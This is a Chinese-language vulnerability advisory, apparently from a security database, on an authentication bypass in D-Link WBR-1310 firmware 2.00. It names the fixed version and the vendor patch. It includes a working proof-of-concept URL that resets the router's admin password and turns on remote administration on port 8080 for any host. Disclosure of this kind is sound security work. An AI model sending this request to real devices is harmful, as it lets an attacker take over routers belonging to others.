发布日期：2010-12-23
更新日期：2010-12-24

受影响系统：

D-Link WBR-1310 Firmware 2.00

不受影响系统：

D-Link WBR-1310 Firmware 4.13

描述：

---

BUGTRAQ  ID: 45554

D-Link WBR-1310是无线G路由器。

D-Link WBR-1310在实现上存在安全绕过漏洞，攻击者可利用此漏洞绕过验证，更改管理密码，获取受影响设备的管理控制权。

<*来源：Craig Heffner
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/tools_admin.cgi?admname=admin&amp;admPass1=hacked&amp;admPass2=hacked&amp;username=user&amp;userPass1=WDB8WvbXdHtZyM8&amp;userPass2=WDB8WvbXdHtZyM8&amp;hip1=*&amp;hport=8080&amp;hEnable=1

建议：

---

厂商补丁：

D-Link
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.dlink.com/

浏览次数：2626
严重程度：0（网友投票）